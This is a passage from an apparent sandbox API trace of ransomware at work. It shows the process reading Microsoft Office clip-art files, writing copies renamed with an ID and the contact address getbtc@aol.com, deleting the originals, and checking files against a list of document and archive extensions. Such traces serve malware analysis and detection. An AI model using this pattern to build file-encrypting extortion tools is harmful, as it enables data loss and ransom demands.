lpNumberOfBytesRead=0x319fed4*=0x21e8, lpOverlapped=0x0) returned 1 [0257.694] WriteFile (in: hFile=0x3f0, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0x21f0, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0x21f0, lpOverlapped=0x0) returned 1 [0257.694] ReadFile (in: hFile=0x390, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x0, lpOverlapped=0x0) returned 1 [0257.695] WriteFile (in: hFile=0x3f0, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0xec, lpOverlapped=0x0) returned 1 [0257.695] SetEndOfFile (hFile=0x3f0) returned 1 [0257.695] CloseHandle (hObject=0x3f0) returned 1 [0257.695] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0257.695] SetEndOfFile (hFile=0x390) returned 1 [0257.699] CloseHandle (hObject=0x390) returned 1 [0257.699] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105600.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0257.735] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105600.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105600.wmf")) returned 1 [0257.744] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105600.WMF") returned 63 [0257.744] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105600.WMF") returned 63 [0257.744] lstrlenW (lpString=".doc") returned 4 [0257.744] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0257.744] lstrlenW (lpString=".docx") returned 5 [0257.744] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0257.744] lstrlenW (lpString=".pdf") returned 4 [0257.744] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0257.744] lstrlenW (lpString=".xls") returned 4 [0257.744] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0257.744] lstrlenW (lpString=".xlsx") returned 5 [0257.744] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0257.744] lstrlenW (lpString=".ppt") returned 4 [0257.744] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0257.744] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105600.WMF") returned 63 [0257.744] lstrlenW (lpString=".zip") returned 4 [0257.744] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0257.744] lstrlenW (lpString=".rar") returned 4 [0257.744] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0257.744] lstrlenW (lpString=".bz2") returned 4 [0257.744] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0257.744] lstrlenW (lpString=".7z") returned 3 [0257.744] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0257.744] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105600.WMF") returned 63 [0257.744] lstrlenW (lpString=".dbf") returned 4 [0257.744] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0257.744] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105600.WMF") returned 63 [0257.744] lstrlenW (lpString=".1cd") returned 4 [0257.744] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0257.744] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105600.WMF") returned 63 [0257.744] lstrlenW (lpString=".jpg") returned 4 [0257.744] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0257.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105600.WMF") returned 63 [0257.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105600.WMF") returned 63 [0257.745] lstrlenW (lpString=".doc") returned 4 [0257.745] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0257.745] lstrlenW (lpString=".docx") returned 5 [0257.745] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0257.745] lstrlenW (lpString=".pdf") returned 4 [0257.745] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0257.745] lstrlenW (lpString=".xls") returned 4 [0257.745] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0257.745] lstrlenW (lpString=".xlsx") returned 5 [0257.745] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0257.745] lstrlenW (lpString=".ppt") returned 4 [0257.745] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0257.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105600.WMF") returned 63 [0257.745] lstrlenW (lpString=".zip") returned 4 [0257.745] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0257.745] lstrlenW (lpString=".rar") returned 4 [0257.745] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0257.745] lstrlenW (lpString=".bz2") returned 4 [0257.745] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0257.745] lstrlenW (lpString=".7z") returned 3 [0257.745] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0257.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105600.WMF") returned 63 [0257.745] lstrlenW (lpString=".dbf") returned 4 [0257.745] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0257.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105600.WMF") returned 63 [0257.745] lstrlenW (lpString=".1cd") returned 4 [0257.745] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0257.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105600.WMF") returned 63 [0257.745] lstrlenW (lpString=".jpg") returned 4 [0257.745] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0257.746] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0257.746] lstrlenW (lpString="J0106020.WMF") returned 12 [0257.746] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106020.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106020.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0257.746] GetFileSizeEx (in: hFile=0x3e0, lpFileSize=0x319ff1c | out: lpFileSize=0x319ff1c*=10060) returned 1 [0257.746] CloseHandle (hObject=0x3e0) returned 1 [0257.746] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106020.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106020.wmf")) returned 0x20 [0257.746] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106020.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106020.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0257.746] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106020.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106020.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0257.747] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0257.747] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0257.747] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106020.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106020.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0257.747] GetLastError () returned 0x0 [0257.747] ReadFile (in: hFile=0x3e0, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x274c, lpOverlapped=0x0) returned 1 [0257.749] WriteFile (in: hFile=0x388, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0x2750, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0x2750, lpOverlapped=0x0) returned 1 [0257.750] ReadFile (in: hFile=0x3e0, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x0, lpOverlapped=0x0) returned 1 [0257.750] WriteFile (in: hFile=0x388, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0xec, lpOverlapped=0x0) returned 1 [0257.750] SetEndOfFile (hFile=0x388) returned 1 [0257.750] CloseHandle (hObject=0x388) returned 1 [0257.750] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0257.750] SetEndOfFile (hFile=0x3e0) returned 1 [0257.753] CloseHandle (hObject=0x3e0) returned 1 [0257.753] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106020.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0257.753] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106020.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106020.wmf")) returned 1 [0257.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106020.WMF") returned 63 [0257.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106020.WMF") returned 63 [0257.754] lstrlenW (lpString=".doc") returned 4 [0257.754] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0257.754] lstrlenW (lpString=".docx") returned 5 [0257.754] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0257.754] lstrlenW (lpString=".pdf") returned 4 [0257.754] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0257.754] lstrlenW (lpString=".xls") returned 4 [0257.754] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0257.754] lstrlenW (lpString=".xlsx") returned 5 [0257.754] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0257.754] lstrlenW (lpString=".ppt") returned 4 [0257.754] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0257.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106020.WMF") returned 63 [0257.754] lstrlenW (lpString=".zip") returned 4 [0257.754] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0257.754] lstrlenW (lpString=".rar") returned 4 [0257.754] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0257.754] lstrlenW (lpString=".bz2") returned 4 [0257.754] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0257.754] lstrlenW (lpString=".7z") returned 3 [0257.755] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0257.755] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106020.WMF") returned 63 [0257.755] lstrlenW (lpString=".dbf") returned 4 [0257.755] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0257.755] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106020.WMF") returned 63 [0257.755] lstrlenW (lpString=".1cd") returned 4 [0257.755] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0257.755] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106020.WMF") returned 63 [0257.755] lstrlenW (lpString=".jpg") returned 4 [0257.755] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0257.755] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106020.WMF") returned 63 [0257.755] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106020.WMF") returned 63 [0257.755] lstrlenW (lpString=".doc") returned 4 [0257.755] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0257.755] lstrlenW (lpString=".docx") returned 5 [0257.755] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0257.755] lstrlenW (lpString=".pdf") returned 4 [0257.755] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0257.755] lstrlenW (lpString=".xls") returned 4 [0257.755] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0257.755] lstrlenW (lpString=".xlsx") returned 5 [0257.755] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0257.755] lstrlenW (lpString=".ppt") returned 4 [0257.755] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0257.755] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106020.WMF") returned 63 [0257.755] lstrlenW (lpString=".zip") returned 4 [0257.755] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0257.755] lstrlenW (lpString=".rar") returned 4 [0257.755] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0257.755] lstrlenW (lpString=".bz2") returned 4 [0257.755] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0257.755] lstrlenW (lpString=".7z") returned 3 [0257.755] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0257.755] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106020.WMF") returned 63 [0257.755] lstrlenW (lpString=".dbf") returned 4 [0257.756] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0257.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106020.WMF") returned 63 [0257.756] lstrlenW (lpString=".1cd") returned 4 [0257.756] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0257.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106020.WMF") returned 63 [0257.756] lstrlenW (lpString=".jpg") returned 4 [0257.756] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0257.756] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0257.756] lstrlenW (lpString="J0106124.WMF") returned 12 [0257.756] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106124.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106124.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0257.756] GetFileSizeEx (in: hFile=0x3e0, lpFileSize=0x319ff1c | out: lpFileSize=0x319ff1c*=5812) returned 1 [0257.756] CloseHandle (hObject=0x3e0) returned 1 [0257.757] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106124.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106124.wmf")) returned 0x20 [0257.757] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106124.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106124.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0257.757] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106124.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106124.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0257.757] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0257.757] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0257.757] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106124.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106124.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0257.758] GetLastError () returned 0x0 [0257.758] ReadFile (in: hFile=0x3e0, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x16b4, lpOverlapped=0x0) returned 1 [0257.785] WriteFile (in: hFile=0x388, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0x16c0, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0x16c0, lpOverlapped=0x0) returned 1 [0257.785] ReadFile (in: hFile=0x3e0, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x0, lpOverlapped=0x0) returned 1 [0257.786] WriteFile (in: hFile=0x388, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0xec, lpOverlapped=0x0) returned 1 [0257.786] SetEndOfFile (hFile=0x388) returned 1 [0257.786] CloseHandle (hObject=0x388) returned 1 [0257.786] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0257.786] SetEndOfFile (hFile=0x3e0) returned 1 [0257.788] CloseHandle (hObject=0x3e0) returned 1 [0257.788] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106124.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0257.797] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106124.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106124.wmf")) returned 1 [0257.807] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106124.WMF") returned 63 [0257.826] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106124.WMF") returned 63 [0257.826] lstrlenW (lpString=".doc") returned 4 [0257.829] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0257.834] lstrlenW (lpString=".docx") returned 5 [0257.834] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0257.839] lstrlenW (lpString=".pdf") returned 4 [0257.840] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0257.840] lstrlenW (lpString=".xls") returned 4 [0257.840] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0257.840] lstrlenW (lpString=".xlsx") returned 5 [0257.840] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0257.840] lstrlenW (lpString=".ppt") returned 4 [0257.840] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0257.840] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106124.WMF") returned 63 [0257.840] lstrlenW (lpString=".zip") returned 4 [0257.840] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0257.840] lstrlenW (lpString=".rar") returned 4 [0257.840] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0257.840] lstrlenW (lpString=".bz2") returned 4 [0257.840] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0257.840] lstrlenW (lpString=".7z") returned 3 [0257.840] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0257.840] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106124.WMF") returned 63 [0257.840] lstrlenW (lpString=".dbf") returned 4 [0257.840] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0257.840] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106124.WMF") returned 63 [0257.840] lstrlenW (lpString=".1cd") returned 4 [0257.840] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0257.840] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106124.WMF") returned 63 [0257.840] lstrlenW (lpString=".jpg") returned 4 [0257.840] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0257.840] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106124.WMF") returned 63 [0257.840] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106124.WMF") returned 63 [0257.840] lstrlenW (lpString=".doc") returned 4 [0257.841] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0257.841] lstrlenW (lpString=".docx") returned 5 [0257.841] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0257.841] lstrlenW (lpString=".pdf") returned 4 [0257.841] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0257.841] lstrlenW (lpString=".xls") returned 4 [0257.841] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0257.841] lstrlenW (lpString=".xlsx") returned 5 [0257.841] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0257.841] lstrlenW (lpString=".ppt") returned 4 [0257.841] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0257.841] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106124.WMF") returned 63 [0257.841] lstrlenW (lpString=".zip") returned 4 [0257.841] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0257.841] lstrlenW (lpString=".rar") returned 4 [0257.841] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0257.841] lstrlenW (lpString=".bz2") returned 4 [0257.841] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0257.841] lstrlenW (lpString=".7z") returned 3 [0257.841] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0257.841] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106124.WMF") returned 63 [0257.841] lstrlenW (lpString=".dbf") returned 4 [0257.841] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0257.841] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106124.WMF") returned 63 [0257.841] lstrlenW (lpString=".1cd") returned 4 [0257.841] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0257.841] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106124.WMF") returned 63 [0257.841] lstrlenW (lpString=".jpg") returned 4 [0257.841] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0257.841] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0257.853] lstrlenW (lpString="J0106208.WMF") returned 12 [0257.853] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106208.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106208.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c8 [0258.027] GetFileSizeEx (in: hFile=0x3c8, lpFileSize=0x319ff1c | out: lpFileSize=0x319ff1c*=11900) returned 1 [0258.027] CloseHandle (hObject=0x3c8) returned 1 [0258.027] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106208.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106208.wmf")) returned 0x20 [0258.041] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106208.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106208.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0258.041] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106208.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106208.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8 [0258.041] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0258.041] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0258.041] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106208.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106208.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f0 [0258.042] GetLastError () returned 0x0 [0258.042] ReadFile (in: hFile=0x3d8, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x2e7c, lpOverlapped=0x0) returned 1 [0258.056] WriteFile (in: hFile=0x3f0, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0x2e80, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0x2e80, lpOverlapped=0x0) returned 1 [0258.057] ReadFile (in: hFile=0x3d8, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x0, lpOverlapped=0x0) returned 1 [0258.057] WriteFile (in: hFile=0x3f0, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0xec, lpOverlapped=0x0) returned 1 [0258.057] 